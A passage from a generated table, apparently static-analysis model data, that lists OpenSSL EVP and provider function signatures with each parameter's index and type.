* | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecodeUpdate | 1 | unsigned char * | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecodeUpdate | 2 | int * | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecodeUpdate | 3 | const unsigned char * | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecodeUpdate | 4 | int | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncodeUpdate | 0 | EVP_ENCODE_CTX * | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncodeUpdate | 1 | unsigned char * | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncodeUpdate | 2 | int * | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncodeUpdate | 3 | const unsigned char * | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncodeUpdate | 4 | int | +| (EVP_ENCODE_CTX *,unsigned int) | | evp_encode_ctx_set_flags | 0 | EVP_ENCODE_CTX * | +| (EVP_ENCODE_CTX *,unsigned int) | | evp_encode_ctx_set_flags | 1 | unsigned int | +| (EVP_KDF *) | | EVP_KDF_CTX_new | 0 | EVP_KDF * | +| (EVP_KDF_CTX *) | | EVP_KDF_CTX_kdf | 0 | EVP_KDF_CTX * | +| (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 0 | EVP_KEYMGMT * | +| (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | int | +| (EVP_KEYMGMT *,void *) | | evp_keymgmt_util_make_pkey | 0 | EVP_KEYMGMT * | +| (EVP_KEYMGMT *,void *) | | evp_keymgmt_util_make_pkey | 1 | void * | +| (EVP_KEYMGMT *,void *,char *,size_t) | | evp_keymgmt_util_get_deflt_digest_name | 0 | EVP_KEYMGMT * | +| (EVP_KEYMGMT *,void *,char *,size_t) | | evp_keymgmt_util_get_deflt_digest_name | 1 | void * | +| (EVP_KEYMGMT *,void *,char *,size_t) | | evp_keymgmt_util_get_deflt_digest_name | 2 | char * | +| (EVP_KEYMGMT *,void *,char *,size_t) | | evp_keymgmt_util_get_deflt_digest_name | 3 | size_t | +| (EVP_MAC *) | | EVP_MAC_CTX_new | 0 | EVP_MAC * | +| (EVP_MAC_CTX *) | | EVP_MAC_CTX_get0_mac | 0 | EVP_MAC_CTX * | +| (EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *) | | ossl_prov_macctx_load_from_params | 0 | EVP_MAC_CTX ** | +| (EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *) | | ossl_prov_macctx_load_from_params | 1 | const OSSL_PARAM[] | +| (EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *) | | ossl_prov_macctx_load_from_params | 2 | const char * | +| (EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *) | | ossl_prov_macctx_load_from_params | 3 | const char * | +| (EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *) | | ossl_prov_macctx_load_from_params | 4 | const char * | +| (EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *) | | ossl_prov_macctx_load_from_params | 5 | OSSL_LIB_CTX * | +| (EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t) | | ossl_prov_set_macctx | 0 | EVP_MAC_CTX * | +| (EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t) | | ossl_prov_set_macctx | 1 | const OSSL_PARAM[] | +| (EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t) | | ossl_prov_set_macctx | 2 | const char * | +| (EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t) | | ossl_prov_set_macctx | 3 | const char * | +| (EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t) | | ossl_prov_set_macctx | 4 | const char * | +| (EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t) | | ossl_prov_set_macctx | 5 | const char * | +| (EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t) | | ossl_prov_set_macctx | 6 | const unsigned char * | +| (EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t) | | ossl_prov_set_macctx | 7 | size_t | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_cleanup | 0 | EVP_MD * | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_cleanup | 1 | ..(*)(..) | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_copy | 0 | EVP_MD * | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_copy | 1 | ..(*)(..) | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_ctrl | 0 | EVP_MD * | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_ctrl | 1 | ..(*)(..) | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_final | 0 | EVP_MD * | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_final | 1 | ..(*)(..) | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_init | 0 | EVP_MD * | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_init | 1 | ..(*)(..) | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_update | 0 | EVP_MD * | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_update | 1 | ..(*)(..) | +| (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 0 | EVP_MD * | +| (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | int | +| (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 0 | EVP_MD * | +| (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | int | +| (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 0 | EVP_MD * | +| (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | int | +| (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 0 | EVP_MD * | +| (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | unsigned long | +| (EVP_MD_CTX *) | | EVP_MD_CTX_get1_md | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *) | | EVP_MD_CTX_update_fn | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,..(*)(..)) | | EVP_MD_CTX_set_update_fn | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,..(*)(..)) | | EVP_MD_CTX_set_update_fn | 1 | ..(*)(..) | +| (EVP_MD_CTX *,BIO *,X509_ALGOR *) | | ossl_cms_DigestAlgorithm_find_ctx | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,BIO *,X509_ALGOR *) | | ossl_cms_DigestAlgorithm_find_ctx | 1 | BIO * | +| (EVP_MD_CTX *,BIO *,X509_ALGOR *) | | ossl_cms_DigestAlgorithm_find_ctx | 2 | X509_ALGOR * | +| (EVP_MD_CTX *,EVP_MD *) | | PEM_SignInit | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,EVP_MD *) | | PEM_SignInit | 1 | EVP_MD * | +| (EVP_MD_CTX *,EVP_PKEY_CTX *) | | EVP_MD_CTX_set_pkey_ctx | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX *) | | EVP_MD_CTX_set_pkey_ctx | 1 | EVP_PKEY_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestSignInit | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestSignInit | 1 | EVP_PKEY_CTX ** | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestSignInit | 2 | const EVP_MD * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestSignInit | 3 | ENGINE * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestSignInit | 4 | EVP_PKEY * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestVerifyInit | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestVerifyInit | 1 | EVP_PKEY_CTX ** | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestVerifyInit | 2 | const EVP_MD * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestVerifyInit | 3 | ENGINE * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestVerifyInit | 4 | EVP_PKEY * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestSignInit_ex | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestSignInit_ex | 1 | EVP_PKEY_CTX ** | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestSignInit_ex | 2 | const char * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestSignInit_ex | 3 | OSSL_LIB_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestSignInit_ex | 4 | const char * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestSignInit_ex | 5 | EVP_PKEY * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestSignInit_ex | 6 | const OSSL_PARAM[] | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestVerifyInit_ex | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestVerifyInit_ex | 1 | EVP_PKEY_CTX ** | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestVerifyInit_ex | 2 | const char * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestVerifyInit_ex | 3 | OSSL_LIB_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestVerifyInit_ex | 4 | const char * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestVerifyInit_ex | 5 | EVP_PKEY * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestVerifyInit_ex | 6 | const OSSL_PARAM[] | +| (EVP_MD_CTX *,EVP_PKEY_CTX *,const X509_ALGOR *,EVP_PKEY *) | | ossl_rsa_pss_to_ctx | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX *,const X509_ALGOR *,EVP_PKEY *) | | ossl_rsa_pss_to_ctx | 1 | EVP_PKEY_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX *,const X509_ALGOR *,EVP_PKEY *) | | ossl_rsa_pss_to_ctx | 2 | const X509_ALGOR * | +| (EVP_MD_CTX *,EVP_PKEY_CTX *,const X509_ALGOR *,EVP_PKEY *) | | ossl_rsa_pss_to_ctx | 3 | EVP_PKEY * | +| (EVP_MD_CTX *,const EVP_MD *) | | EVP_DigestInit | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const EVP_MD *) | | EVP_DigestInit | 1 | const EVP_MD * | +| (EVP_MD_CTX *,const EVP_MD *,ENGINE *) | | EVP_DigestInit_ex | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const EVP_MD *,ENGINE *) | | EVP_DigestInit_ex | 1 | const EVP_MD * | +| (EVP_MD_CTX *,const EVP_MD *,ENGINE *) | | EVP_DigestInit_ex | 2 | ENGINE * | +| (EVP_MD_CTX *,const EVP_MD *,const OSSL_PARAM[]) | | EVP_DigestInit_ex2 | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const EVP_MD *,const OSSL_PARAM[]) | | EVP_DigestInit_ex2 | 1 | const EVP_MD * | +| (EVP_MD_CTX *,const EVP_MD *,const OSSL_PARAM[]) | | EVP_DigestInit_ex2 | 2 | const OSSL_PARAM[] | +| (EVP_MD_CTX *,const EVP_MD *,const uint8_t *,MATRIX *) | | ossl_ml_dsa_matrix_expand_A | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const EVP_MD *,const uint8_t *,MATRIX *) | | ossl_ml_dsa_matrix_expand_A | 1 | const EVP_MD * | +| (EVP_MD_CTX *,const EVP_MD *,const uint8_t *,MATRIX *) | | ossl_ml_dsa_matrix_expand_A | 2 | const uint8_t * | +| (EVP_MD_CTX *,const EVP_MD *,const uint8_t *,MATRIX *) | | ossl_ml_dsa_matrix_expand_A | 3 | MATRIX * | +| (EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *) | | ossl_ml_dsa_vector_expand_S | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *) | | ossl_ml_dsa_vector_expand_S | 1 | const EVP_MD * | +| (EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *) | | ossl_ml_dsa_vector_expand_S | 2 | int | +| (EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *) | | ossl_ml_dsa_vector_expand_S | 3 | const uint8_t * | +| (EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *) | | ossl_ml_dsa_vector_expand_S | 4 | VECTOR * | +| (EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *) | | ossl_ml_dsa_vector_expand_S | 5 | VECTOR * | +| (EVP_MD_CTX *,const EVP_MD_CTX *) | | EVP_MD_CTX_copy | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const EVP_MD_CTX *) | | EVP_MD_CTX_copy | 1 | const EVP_MD_CTX * | +| (EVP_MD_CTX *,const EVP_MD_CTX *) | | EVP_MD_CTX_copy_ex | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const EVP_MD_CTX *) | | EVP_MD_CTX_copy_ex | 1 | const EVP_MD_CTX * | +| (EVP_MD_CTX *,const unsigned char *,size_t) | | EVP_DigestVerifyFinal | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const unsigned char *,size_t) | | EVP_DigestVerifyFinal | 1 | const unsigned char * | +| (EVP_MD_CTX *,const unsigned char *,size_t) | | EVP_DigestVerifyFinal | 2 | size_t | +| (EVP_MD_CTX *,const unsigned char *,size_t,const unsigned char *,size_t) | | EVP_DigestVerify | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const unsigned char *,size_t,const unsigned char *,size_t) | | EVP_DigestVerify | 1 | const unsigned char * | +| (EVP_MD_CTX *,const unsigned char *,size_t,const unsigned char *,size_t) | | EVP_DigestVerify | 2 | size_t | +| (EVP_MD_CTX *,const unsigned char *,size_t,const unsigned char *,size_t) | | EVP_DigestVerify | 3 | const unsigned char * | +| (EVP_MD_CTX *,const unsigned char *,size_t,const unsigned char *,size_t) | | EVP_DigestVerify | 4 | size_t | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *) | | EVP_VerifyFinal | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *) | | EVP_VerifyFinal | 1 | const unsigned char * | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *) | | EVP_VerifyFinal | 2 | unsigned int | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *) | | EVP_VerifyFinal | 3 | EVP_PKEY * | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_VerifyFinal_ex | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_VerifyFinal_ex | 1 | const unsigned char * | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_VerifyFinal_ex | 2 | unsigned int | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_VerifyFinal_ex | 3 | EVP_PKEY * | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_VerifyFinal_ex | 4 | OSSL_LIB_CTX * | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_VerifyFinal_ex | 5 | const char * | +| (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | int | +| (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | int | +| (EVP_MD_CTX *,unsigned char *,size_t *) | | EVP_DigestSignFinal | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,unsigned char *,size_t *) | | EVP_DigestSignFinal | 1 | unsigned char * | +| (EVP_MD_CTX *,unsigned char *,size_t *) | | EVP_DigestSignFinal | 2 | size_t * | +| (EVP_MD_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_DigestSign | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_DigestSign | 1 | unsigned char * | +| (EVP_MD_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_DigestSign | 2 | size_t * | +| (EVP_MD_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_DigestSign | 3 | const unsigned char * | +| (EVP_MD_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_DigestSign | 4 | size_t | +| (EVP_MD_CTX *,unsigned char *,unsigned int *) | | EVP_DigestFinal | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *) | | EVP_DigestFinal | 1 | unsigned char * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *) | | EVP_DigestFinal | 2 | unsigned int * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *) | | EVP_DigestFinal_ex | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *) | | EVP_DigestFinal_ex | 1 | unsigned char * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *) | | EVP_DigestFinal_ex | 2 | unsigned int * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *) | | EVP_SignFinal | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *) | | EVP_SignFinal | 1 | unsigned char * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *) | | EVP_SignFinal | 2 | unsigned int * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *) | | EVP_SignFinal | 3 | EVP_PKEY * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *) | | PEM_SignFinal | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *) | | PEM_SignFinal | 1 | unsigned char * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *) | | PEM_SignFinal | 2 | unsigned int * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *) | | PEM_SignFinal | 3 | EVP_PKEY * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_SignFinal_ex | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_SignFinal_ex | 1 | unsigned char * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_SignFinal_ex | 2 | unsigned int * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_SignFinal_ex | 3 | EVP_PKEY * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_SignFinal_ex | 4 | OSSL_LIB_CTX * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_SignFinal_ex | 5 | const char * | +| (EVP_PKEY *) | | EVP_PKEY_dup | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | EVP_PKEY_get1_DH | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | EVP_PKEY_get1_DSA | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | EVP_PKEY_get1_EC_KEY | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | EVP_PKEY_get1_RSA | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | OSSL_STORE_INFO_new_PARAMS | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | OSSL_STORE_INFO_new_PKEY | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | OSSL_STORE_INFO_new_PUBKEY | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | evp_pkey_get_legacy | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | ossl_evp_pkey_get1_ED448 | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | ossl_evp_pkey_get1_ED25519 | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | ossl_evp_pkey_get1_X448 | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | ossl_evp_pkey_get1_X25519 | 0 | EVP_PKEY * | +| (EVP_PKEY **,const EVP_PKEY *) | | evp_pkey_copy_downgraded | 0 | EVP_PKEY ** | +| (EVP_PKEY **,const EVP_PKEY *) | | evp_pkey_copy_downgraded | 1 | const EVP_PKEY * | +| (EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *) | | OSSL_DECODER_CTX_new_for_pkey | 0 | EVP_PKEY ** | +| (EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *) | | OSSL_DECODER_CTX_new_for_pkey | 1 | const char * | +| (EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *) | | OSSL_DECODER_CTX_new_for_pkey | 2 | const char * | +| (EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *) | | OSSL_DECODER_CTX_new_for_pkey | 3 | const char * | +| (EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *) | | OSSL_DECODER_CTX_new_for_pkey | 4 | int | +| (EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *) | | OSSL_DECODER_CTX_new_for_pkey | 5 | OSSL_LIB_CTX * | +| (EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *) | | OSSL_DECODER_CTX_new_for_pkey | 6 | const char * | +| (EVP_PKEY **,const unsigned char **,long) | | d2i_AutoPrivateKey | 0 | EVP_PKEY ** | +| (EVP_PKEY **,const unsigned char **,long) | | d2i_AutoPrivateKey | 1 | const unsigned char ** | +| (EVP_PKEY **,const unsigned char **,long) | | d2i_AutoPrivateKey | 2 | long | +| (EVP_PKEY **,const unsigned char **,long) | | d2i_PUBKEY | 0 | EVP_PKEY ** | +| (EVP_PKEY **,const unsigned char **,long) | | d2i_PUBKEY | 1 | const unsigned char ** | +| (EVP_PKEY **,const unsigned char **,long) | | d2i_PUBKEY | 2 | long | +| (EVP_PKEY **,const unsigned char **,long) | | ossl_d2i_PUBKEY_legacy | 0 | EVP_PKEY ** | +| (EVP_PKEY **,const unsigned char **,long) | | ossl_d2i_PUBKEY_legacy | 1 | const unsigned char ** | +| (EVP_PKEY **,const unsigned char **,long) | | ossl_d2i_PUBKEY_legacy | 2 | long | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_AutoPrivateKey_ex | 0 | EVP_PKEY ** | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_AutoPrivateKey_ex | 1 | const unsigned char ** | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_AutoPrivateKey_ex | 2 | long | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_AutoPrivateKey_ex | 3 | OSSL_LIB_CTX * | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_AutoPrivateKey_ex | 4 | const char * | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex | 0 | EVP_PKEY ** | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex | 1 | const unsigned char ** | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex | 2 | long | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex | 3 | OSSL_LIB_CTX * | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex | 4 | const char * | +| (EVP_PKEY *,DH *,dh_st *) | | EVP_PKEY_set1_DH | 0 | EVP_PKEY * | +| (EVP_PKEY *,DH *,dh_st *) | | EVP_PKEY_set1_DH | 1 | DH * | +| (EVP_PKEY *,DH *,dh_st *) | | EVP_PKEY_set1_DH | 2 | dh_st * | +| (EVP_PKEY *,DSA *,dsa_st *) | | EVP_PKEY_set1_DSA | 0 | EVP_PKEY * | +| (EVP_PKEY *,DSA *,dsa_st *) | | EVP_PKEY_set1_DSA | 1 | DSA * | +| (EVP_PKEY *,DSA *,dsa_st *) | | EVP_PKEY_set1_DSA | 2 | dsa_st * | +| (EVP_PKEY *,EC_KEY *,ec_key_st *) | | EVP_PKEY_set1_EC_KEY | 0 | EVP_PKEY * | +| (EVP_PKEY *,EC_KEY *,ec_key_st *) | | EVP_PKEY_set1_EC_KEY | 1 | EC_KEY * | +| (EVP_PKEY *,EC_KEY *,ec_key_st *) | | EVP_PKEY_set1_EC_KEY | 2 | ec_key_st * | +| (EVP_PKEY *,ENGINE *) | | EVP_PKEY_CTX_new | 0 | EVP_PKEY * | +| (EVP_PKEY *,ENGINE *) | | EVP_PKEY_CTX_new | 1 | ENGINE * | +| (EVP_PKEY *,ENGINE *) | | EVP_PKEY_set1_engine | 0 | EVP_PKEY * | +| (EVP_PKEY *,ENGINE *) | | EVP_PKEY_set1_engine | 1 | ENGINE * | +| (EVP_PKEY *,EVP_KEYMGMT *) | | EVP_PKEY_set_type_by_keymgmt | 0 | EVP_PKEY * | +| (EVP_PKEY *,EVP_KEYMGMT *) | | EVP_PKEY_set_type_by_keymgmt | 1 | EVP_KEYMGMT * | +| (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_export_to_provider | 0 | EVP_PKEY * | +| (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_export_to_provider | 1 | EVP_KEYMGMT * | +| (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_export_to_provider | 2 | int | +| (EVP_PKEY *,EVP_KEYMGMT 